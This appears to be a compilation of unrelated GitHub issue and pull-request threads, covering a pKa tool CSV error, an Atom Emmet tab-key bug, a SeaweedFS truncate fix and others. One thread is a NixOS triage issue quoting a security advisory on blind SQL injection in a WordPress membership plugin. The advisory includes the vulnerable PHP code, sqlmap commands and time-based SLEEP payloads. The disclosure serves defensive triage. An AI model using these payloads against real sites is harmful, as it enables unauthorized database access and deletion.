100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 21.27it/s] Traceback (most recent call last):   File "/home/user/GitHub/Uni-pKa/enumerator/main.py", line 480, in <module>     enum_dataset(   File "/home/user/GitHub/Uni-pKa/enumerator/main.py", line 455, in enum_dataset     dataset[["SMILES", "TARGET", "ref."]].to_csv(output_file, sep="\t")     ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^   File "/home/user/miniforge3/envs/unipka/lib/python3.11/site-packages/pandas/core/frame.py", line 3899, in __getitem__     indexer = self.columns._get_indexer_strict(key, "columns")[1]               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^   File "/home/user/miniforge3/envs/unipka/lib/python3.11/site-packages/pandas/core/indexes/base.py", line 6115, in _get_indexer_strict     self._raise_if_missing(keyarr, indexer, axis_name)   File "/home/user/miniforge3/envs/unipka/lib/python3.11/site-packages/pandas/core/indexes/base.py", line 6179, in _raise_if_missing     raise KeyError(f"{not_found} not in index") KeyError: "['TARGET', 'ref.'] not in index"
Could you provide me with an example of the input CSV file to run Uni-pKa with? :)
test.csv

I'm so sorry for a late reply. I've noticed this and will come back to it soon.

Now Fixed! This error is because we used to assume that the data has labels and references, which doesn't apply to custom datasets. Now the enumerator only requires the SMILES column. Thank you for your feedback!


Roundup: [oss-security] Multiple Unauthenticated blind SQL injections in Wordpress Plugin Membership Simplified v1.58

Here is a report from the oss-security mailing list for Vulnerability Roundup 27.
Skip to First Email
Instructions:
Identification
Identify if we have the software, in 16.09, 17.03, and unstable. Then determine if we are vulnerable, and make a comment with your findings. It can also be helpful to specify if you think there is a patch, or if it can be fixed via a general update.
Example:
unstable: we are not vulnerable (link to the package)
17.03: we are vulnerable (link to the package)
16.09: we don't have it packaged

IMPORTANT: If you believe there are possibly related issues, bring them up on the parent issue!
Patching
Start by commenting on this issue saying you're working on a patch. This way, we don't duplicate work.
If you open a pull request, tag this issue and the master issue for the roundup.
If you commit the patch directly to a branch, please leave a comment on this issue with the branch and the commit hash, example:
fixed:

release-16.09: abc123

Skip to First Email
Upon Completion ...

[ ] Update Graham's database

Info
Triage Indicator:
-needs-triage +roundup27 thread:0000000000004314

File Search: https://search.nix.gsc.io/?q=sql&i=fosho&repos=nixos-nixpkgs
GitHub Search: https://github.com/NixOS/nixpkgs/search?utf8=✓&q=sql+in%3Apath&type=Code

Should the search term be changed from sql? Suggest a new package search by commenting:
-suggested:sql +suggested:correctPackageName thread:0000000000004314

Known CVEs: CVE-2017-1002009, CVE-2017-1002010

Skip to End
Wed, 22 Mar 2017 06:59:33 -0400 "Larry W. Cashdollar" <larry0-at-me.com><EMAIL_ADDRESS>Title: Multiple Unauthenticated blind SQL injections in Wordpress Plugin Membership Simplified v1.58
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-17
CVE-ID:[CVE-2017-1002009][CVE-2017-1002010]
Download Site: http://membership.officeautopilot.com/get-it-now/
Vendor: http://membership.officeautopilot.com/
Vendor Notified: 2017-03-17
Vendor Contact: http://membership.officeautopilot.com/1-58-has-been-released-and-works-with-version-4-5-of-wordpress/#comment-484
Advisory: http://www.vapidlabs.com/advisory.php?v=188
Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The code in membership-simplified-for-oap-members-only/updateDB.php is vulnerable to blind SQL injection because it doesn't sanitize user input via any of the POST requests being passed into the SQL query.  Also it doesn't check that a user is authorized to make updates to the database.

  2 require_once("../../../wp-config.php");
  3 global $wpdb;
  4 $table_name = $wpdb->prefix . "download_listing";
  5 $media_table_name = $wpdb->prefix . "media_listing";
  6 $action = $_POST['action'];
  7 $updateRecordsArray = $_POST['recordsArray'];
  8 $mediaupdateRecordsArray = $_POST['mediaRecordsArray'];

CVE-2017-1002009:
I chose to test the SQL injection against the delete action as it was the most straightforward injection point.

 34 if($action == 'delete') {
 35         $upload_base_dir = wp_upload_dir();
 36         $upload_dir =  $upload_base_dir['basedir'];
 37         $path= $upload_dir.'/membership-simplified-for-oap-members-only/';
 38         $fileName = $wpdb->get_row("select fileName from $table_name where recordId= ".$_POST['recordId']."");
 39         @unlink($path.$fileName->fileName);
 40         $query= "delete from $table_name where recordId= '".$_POST['recordId']."' ";
 41         $wpdb->query($query) or die('Error, insert query failed');
 42
 43 }

CVE-2017-1002010:

 56 if($action == 'delete_media') {
 57         $upload_base_dir = wp_upload_dir();
 58         $upload_dir = $upload_base_dir['basedir'];
 59         $path = $upload_dir.'/membership-simplified-for-oap-members-only/';
 60         $fileName = $wpdb->get_row("select fileName from $media_table_name where recordId= ".$_POST['recordId']."");
 61         //@unlink($path.$fileName->fileName);
 62         $query= "delete from $media_table_name where recordId= '".$_POST['recordID']."' ";
 65         $wpdb->query($query) or die($query);

Exploit Code:
	• $ sqlmap -u 'http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/updateDB.php' --data 'action=delete&recordId=*' --dbms mysql  --level 3 --risk 3
	•
	• (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
	• sqlmap identified the following injection point(s) with a total of 1411 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
	•     Payload: action=delete&recordId=(SELECT * FROM (SELECT(SLEEP(5)))uxVZ)
	• ---
	• [02:10:51] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Ubuntu 16.04 (xenial)
	• web application technology: Apache 2.4.18
	• back-end DBMS: MySQL >= 5.0.12
	• [02:10:51] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
	•
	• [*] shutting down at 02:10:51
	•
	•
	• $ sqlmap -u 'http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/updateDB.php' --data 'action=delete_media&recordId=*' --dbms mysql  --level 3 --risk 3
	•
	• sqlmap identified the following injection point(s) with a total of 1411 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
	•     Payload: action=delete_media&recordId=(SELECT * FROM (SELECT(SLEEP(5)))ENgw)
	• ---
	• [02:34:49] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Ubuntu 16.04 (xenial)
	• web application technology: Apache 2.4.18
	• back-end DBMS: MySQL >= 5.0.12
	• [02:34:49] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
	•
	• [*] shutting down at 02:34:49

Skip to End

unstable: not packaged
release-16.09: not packaged
release-17.03: not packaged


Addition of Docker Image and User Example

This PR proposes to:

include a Docker Image folder to help with deployment locally in Visual Studio Code, as well as using GitHub Code Spaces; and
add a user example notebook, including a user examples folder.

Works have been conducted as a part of writing an article (for Earth Online) which we hope to link to the new user example notebook.

@libbyrose FYI on this PR

Thank you for the pr. One of our next steps would have been anyway to provide a docker image, so your contribution comes at a good time. As I have seen you were adding commits after you posted the pr, I wanted to ask: Is it ready for review or are you still working on it?

As you saw, I am working on a few tweaks to the documentation. I am not expert on Docker Containers, but what I have works for running in GitHub Codespace. I will upload the new docs next week, and then maybe you can have a look?

@TonioF I have committed the latest on our fork, so this should be ready to take a look at now.

I have progressed the changes on this PR here today, in summary:

Accepted the proposed changes
Update the name of the user_examples folder
Fixed the issue with the plot in the last cell of the CCI-SeaIce-Animation.ipynb here not generating a plot
Adjusted the dockerfile and devcontainer configuration
Updated documentation and screenshots

This should be reflected in the PR.

Great - thanks @TonioF !


first commit

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

the homework of  our school


Stacktrace logging

If context argument of log methods is exception, we should log exception stacktraces.
I would suggest we have flag to enable/disable stacktraces or to log them at verbose level

unstale


Return & Tab Keys no longer work

via @tylerFowler from https://github.com/atom/atom/issues/4926
After updating to 0.169.0 I find that, seemingly at random, the Return and Tab keys on my MacBook Pro no longer work. Pressing them will just do nothing, and the only way to regain functionality is to completely quit atom and restart it, but even then it seems that it's only a matter of time before they stop working again.
Didn't see this at all before the update. No clues as to what's going on either.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

+1

+1

It looks like @ck86 fixed this in #184.  His changes can be found here

This worked for me:
cd ~/.atom/packages
git clone https://github.com/emmetio/emmet-atom
cd emmet-atom
npm install

Then restart Atom.

@somecallmejosh Didn't work for me, even when I disabled the old package.

I completely deleted the package and then reinstalled it. Disabling and reinstalling didn't work for me, either.

+1
Same as @somecallmejosh, however I noticed that after reinstalling and restarting atom the issue reappears. In my case reinstalling solves the problem until the next restart of atom.
I also tried to install the package by cloning the repo but the situation is the same.
Atom 0.169.0 / Node v0.10.35 / NPM 1.4.28 / OS X 10.10.1

See https://github.com/emmetio/emmet-atom/issues/184#issuecomment-69417353

+1

Please check v2.3.1

@sergeche works great for me. Thanks!
I'm using Atom 0.170.0 now

@sergeche confirmed that 2.3.1 is working on 0.170.0.

its not working...its a pain !!!

@fricks make sure you have v2.3.1

@sergeche yes i´ve made the update early and its not working

Can you post your DevTools log?

@sergeche Its ok right now. I need update the Atom too..thanks

Same here but for me, the tab and return key never work(don't work occasionally also). To get to the new line, cmd + return works. This is not helpful.

OS: Ubuntu 14.04.1
Atom version: 1.3.2
Emmet-atom package version: 2.4.1.
Same problem. Installing throught npm is not helping. Complete remove and reinstall from packages too. I can observe this behavior in other app areas such as: "Select encoding Ctrl+U". I can't reveal what can cause the problem.

+1

+1

+1

+1

I want to use the atom, but It is not for linux and windows, it's juste for ibook.
Very disappointed !
There are so much conflict in it !
for example, cmd(ctrl)+shift+l, is multi focus, but , it not work in the linux and windows.
déçu !!!
失望 !!!

OS: Apple 10.11.5
Atom version: 1.8.0
Emmet-atom package version: 2.4.3
I'm getting no response from emmet when trying to tab classes into HTML.
Complete remove and reinstall both via Atom and via terminal.
Console says "Emmet: no such extension folder: /Users/myComputer/emmet"

The Emmet: no such extension folder message simply tells there are no custom extensions. If Emmet seems not working, you should check if your syntax is set to HTML: https://github.com/emmetio/emmet-atom#tab-key

Sorted, thanks @sergeche — I added in liquid to the set of language triggers standard in my keymap.

+1

Had the same issue. Found out that my .atom/config.cson file had the following:
packagesWithKeymapsDisabled: [       "emmet"     ]
I don't know why that ended up there but removing this line did it for me.

Jesus, My emmet doesn't work after I try to set keymap.cson in my atom, and anyway, I can't use HTML + tab to expand my HTML tags.
 Fortunately I solve this issue after I read your rely. @dalbinaco

Just for anyone who still couldn't fix it.
I was using Jekyll and the file extension (at the bottom right) was set to "Html (Liquid)" and apparently Emmet doesn't support the "tab" with it.
To avoid future issues, instead of adding "liquid", I added the extension ".html".
In the emmet.cson:
(located at ~/.atom/packages/emmet-atom/keymaps/emmet.cson)
I added:
, atom-text-editor[data-grammar~=".html"]:not([mini])'
So now, it is:
'atom-text-editor[data-grammar="text html basic"]:not([mini]), atom-text-editor[data-grammar~="angular"]:not([mini]), atom-text-editor[data-grammar~="erb"]:not([mini]), atom-text-editor[data-grammar~="jade"]:not([mini]), atom-text-editor[data-grammar~="css"]:not([mini]), atom-text-editor[data-grammar~="stylus"]:not([mini]), atom-text-editor[data-grammar~="sass"]:not([mini]), atom-text-editor[data-grammar~="scss"]:not([mini]), atom-text-editor[data-grammar~=".html"]:not([mini])':
  'tab': 'emmet:expand-abbreviation-with-tab'

So it helps !


allow exception in docs' bash input (for Windows devs' local env)

In testing my changes to the lib, I found it more convenient to add the metadata tag raises-exception for the input in code-cells.ipynb:
%%bash
for i in 1 2 3
do
    echo $i
done

Since the CI must be using Linux environments, I doubt this would be detrimental to any deployments.

I don't think we actually need this, see #739.

It is needed to build the current docs on Windows. Using WSL is an alternative approach, but it is significantly and noticably slower to execute. Not to mention, its more difficult to install arch-specific dependencies for WSL.
Changes in #739 should work fine as well.

OK, thanks, I've merged #739.


pass custom timeout to subsequent requests

fix #612

@bitinn Though one can argue it's by design, if I set a timeout of 30 seconds for my request to a.com.
a redirects me to b after 10s, b to c after 10 seconds and so on, it can go forever, while the user asked for 30s timeout.
I think you need to take the delta of the remaining time not the original timeout, no?
@bitinn

@gdoron timeout option was an extension to the Fetch spec, before AbortSignal was introduced. To precisely control timeout and abort at precise timing, use it instead. (see readme for details).


feat: add the SetPort method

This PR adds the SetPort() method that calls the webui_set_port() function.

You added as part of #28 thank you!


TIM-314 Fix bottom spacing of page title on dining page

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#54  👈
#50
#49
#48
#47
#46
#45
#44
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @tamrivera05 and the rest of your teammates on  Graphite


feat: introduce event subscriber

this allows us to subscribe to ln events from the outside
attempts to solve https://github.com/get10101/10101/issues/111
@holzeis / @luckysori : is this what you had in mind?

this allows us to subscribe to ln events from the outside
attempts to solve #111
@holzeis / @luckysori : is this what you had in mind?

cool, thank you for looking into this.
Can you change it so that we can simply subscribe to e.g. ChannelReady events and we don't have to filter on the subscriber side? Also it would be great if we could register multiple subscribers for different events.


code style: fix an old demand of indenting continuation lines properly

Like function headers, function invocations, macro declarations, etc.
We always indent to a fixed size, now.
Signed-off-by: Gustavo Lima Chaves<EMAIL_ADDRESS>

Yes, I have. Thanks, merging.


Document headstage-64 and related classes

Intial docs for all headstage-64 associated classes except for TS4231DataFrame because I have a feeling that will change per #152

Closing this PR, changes were merged and are being addressed in #162.

Did you take care of addressing all the comments you made or were those moved over to 162?

I have resolved the comments that I fixed, but the open comments still need to be resolved.


Reconnecting wallet doesnt update state

Background
In the main-sync-with-cutover branch, UI doesnt update proper wallet connection state after reconnecting. It shows connect wallet button after reconnecting.
Steps to repro

Go to main-sync-with-cutover branch and run locally
Connect wallet and then disconnect and reconnect
Wallet state still shows connect-wallet button

Img after reconnect

After clicking connect button

Definition Of Done
State updates properly after reconnect

Looks good now in current main-sync-with-cutover.


truncate: don't drop chunk when truncate-size aligns with chunk length

What problem are we solving?
Fixes: https://github.com/seaweedfs/seaweedfs/issues/3384
Fixes: https://github.com/seaweedfs/seaweedfs/issues/2609
How are we solving the problem?
The issue concerning Plex (3384) and issue 2609 are the same.  Plex regularly performs a VACUUM on its internal SQLlite database, leading to DB corruption when run on SeaweedFS.
In chinook.db test from issue 2609, SQLIite will open the file O_RDWR the original DB length is 884736 bytes (chunk 0).  The VACUUM re-writes the whole DB file, leading to a shortened chunk 1 of 845824 bytes:
I0806 19:34:40.725022 weedfs_file_sync.go:151 /chinook.db set chunks: 2
I0806 19:34:40.725033 weedfs_file_sync.go:153 /chinook.db chunks 0: 7,4f98f31455 [0,884736)
I0806 19:34:40.725040 weedfs_file_sync.go:153 /chinook.db chunks 1: 4,52894a594f [0,845824)

The final intention is to write the shorter chunk back to disk, so truncate(fd, 845824) is called on the open file. Because this truncate() matches the same size as chunk 1, the current logic drops the chunk.  Chunk 0 ends up being re-written to disk and the database truncated, leading to the original non-vacuumed data being stored, albeit truncated and corrupted.
I0806 20:11:36.990496 slot_pool.go:60 --> 0
I0806 20:11:36.990509 weedfs_file_sync.go:151 /chinook.db set chunks: 2
I0806 20:11:36.990516 weedfs_file_sync.go:153 /chinook.db chunks 0: 3,5d19478b30 [0,884736)
I0806 20:11:36.990523 weedfs_file_sync.go:153 /chinook.db chunks 1: 4,60bed2ceb5 [0,845824)
I0806 20:11:36.991481 weedfs_file_sync.go:102 doFlush /chinook.db-journal fh 0
I0806 20:11:36.991562 weedfs_file_mkrm.go:133 remove file: /chinook.db-journal
I0806 20:11:36.992872 weedfs_attr.go:53 /chinook.db setattr set size=845824 filersize=884736 chunks=2
I0806 20:11:36.992887 weedfs_attr.go:66 truncated chunk 3,5d19478b30 from 884736 to 845824
I0806 20:11:36.993485 weedfs_file_sync.go:102 doFlush /chinook.db fh 0
I0806 20:11:36.993528 weedfs_file_sync.go:151 /chinook.db set chunks: 1
I0806 20:11:36.993537 weedfs_file_sync.go:153 /chinook.db chunks 0: 3,5d19478b30 [0,845824)

The fix corrects for the off-by-one error, retaining the re-written chunk:
I0806 19:34:40.725022 weedfs_file_sync.go:151 /chinook.db set chunks: 2
I0806 19:34:40.725033 weedfs_file_sync.go:153 /chinook.db chunks 0: 7,4f98f31455 [0,884736)
I0806 19:34:40.725040 weedfs_file_sync.go:153 /chinook.db chunks 1: 4,52894a594f [0,845824)
I0806 19:34:40.725501 weedfs_file_sync.go:102 doFlush /chinook.db-journal fh 0
I0806 19:34:40.725584 weedfs_file_mkrm.go:133 remove file: /chinook.db-journal
I0806 19:34:40.726720 weedfs_attr.go:53 /chinook.db setattr set size=845824 chunks=2
I0806 19:34:40.726739 weedfs_attr.go:65 truncated chunk 7,4f98f31455 from 884736 to 845824
I0806 19:34:40.726750 weedfs_attr.go:65 truncated chunk 4,52894a594f from 845824 to 845824

this should be the right fix?
https://github.com/seaweedfs/seaweedfs/commit/8a880a139d81b3c0ee14d0f22a2f569abb1a48b6

Yes, that's probably safer logic too.